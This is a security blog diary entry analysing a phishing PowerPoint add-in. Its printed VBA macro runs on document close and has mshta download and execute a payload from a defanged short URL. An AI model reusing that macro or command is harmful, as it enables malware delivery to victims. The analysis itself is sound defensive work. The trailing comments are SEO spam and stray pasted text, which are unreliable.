Malicious PowerPoint Add-On: "Small Is Beautiful"
Yesterday I spotted a DHL-branded phishing campaign that used a PowerPoint file to compromise the victim. The malicious attachment is a PowerPoint add-in. This technique is not new, I already analyzed such a sample in a previous diary[1]. The filename is "dhl-shipment-notification-6207428452.ppt" (SHA256:934df0be5a13def81901b075f07f3d1f141056a406204d53f2f72ae53f583341) and has a VT score of 18/60[2].
The main feature of this file could be described as "small is beautiful". A very small VBA macro is present in the file:
remnux@remnux:/MalwareZoo/20210422$ oledump.py dhl-shipment-notification-6207428452.ppt 1: 444 '\x05DocumentSummaryInformation' 2: 43736 '\x05SummaryInformation' 3: 535 'PROJECT' 4: 44 'PROJECTwm' 5: M 1482 'VBA/Module111' 6: 3231 'VBA/_VBA_PROJECT' 7: 1886 'VBA/__SRP_0' 8: 142 'VBA/__SRP_1' 9: 260 'VBA/__SRP_2' 10: 103 'VBA/__SRP_3' 11: 382 'VBA/__SRP_4' 12: 66 'VBA/__SRP_5' 13: 768 'VBA/dir' 14: m 1377 'VBA/sex' 15: 97 'sex/\x01CompObj' 16: 286 'sex/\x03VBFrame' 17: 90 'sex/f' 18: 115 'sex/i01/\x01CompObj' 19: 220 'sex/i01/f' 20: 110 'sex/i01/i03/\x01CompObj' 21: 40 'sex/i01/i03/f' 22: 0 'sex/i01/i03/o' 23: 110 'sex/i01/i04/\x01CompObj' 24: 40 'sex/i01/i04/f' 25: 0 'sex/i01/i04/o' 26: 148 'sex/i01/o' 27: 48 'sex/i01/x' 28: 0 'sex/o'
The macro is so simple but effective:
remnux@remnux:/MalwareZoo/20210422$ oledump.py dhl-shipment-notification-6207428452.ppt -s 5 -v Attribute VB_Name = "Module111" Sub _ Auto_close() Dim k As New sex Shell sex.krnahai.bachikyasath.Tag End Sub
The macro will be executed when the document is closed and refers to an object "sex". You can see many references to this string in the first oledump output. This is a Microsoft Form:
remnux@remnux:/MalwareZoo/20210422$ oledump.py dhl-shipment-notification-6207428452.ppt -s 15 00000000: 01 00 FE FF 03 0A 00 00 FF FF FF FF 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 ................ 00000020: 4D 69 63 72 6F 73 6F 66 74 20 46 6F 72 6D 73 20 Microsoft Forms 00000030: 32 2E 30 20 46 6F 72 6D 00 10 00 00 00 45 6D 62 2.0 Form.....Emb 00000040: 65 64 64 65 64 20 4F 62 6A 65 63 74 00 00 00 00 edded Object.... 00000050: 00 F4 39 B2 71 00 00 00 00 00 00 00 00 00 00 00 ..9.q........... 00000060: 00
You could try to load the add-in and check the form with PowerPoint (in a sandbox!) but, most of the time, just extracting strings will do the job. Let's search for the property "bachikyasath":
remnux@remnux:/MalwareZoo/20210422$ strings dhl-shipment-notification-6207428452.ppt | \ grep -A 3 -B 3 bachikyasath sexr UserFormN krnahai bachikyasath<" Tag& merilaylo Attribut -- Tab4 Tahoma Page1a bachikyasath"mshta""hxxps://j[.]mp/hdjkashdjkahs" Microsoft Forms 2.0 Form Embedded Object Forms.Form.1
The macro just spawns a shell that executes the Microsoft tool "mshta.exe" which will download and execute the payload from hxxps://j[.]mp/hdjkashdjkahs
Unfortunately, this URL points to blogspot.com page and I was not able to grab the payload. I searched on VT and found that the same file was uploaded one day before and received a score of 0/60! (SHA256:ff1683773ad9b57473e5206023b5ef2eca5b51572bffa7b9e0559408e3e41424)
[1] https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162
[2] https://bazaar.abuse.ch/sample/934df0be5a13def81901b075f07f3d1f141056a406204d53f2f72ae53f583341
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago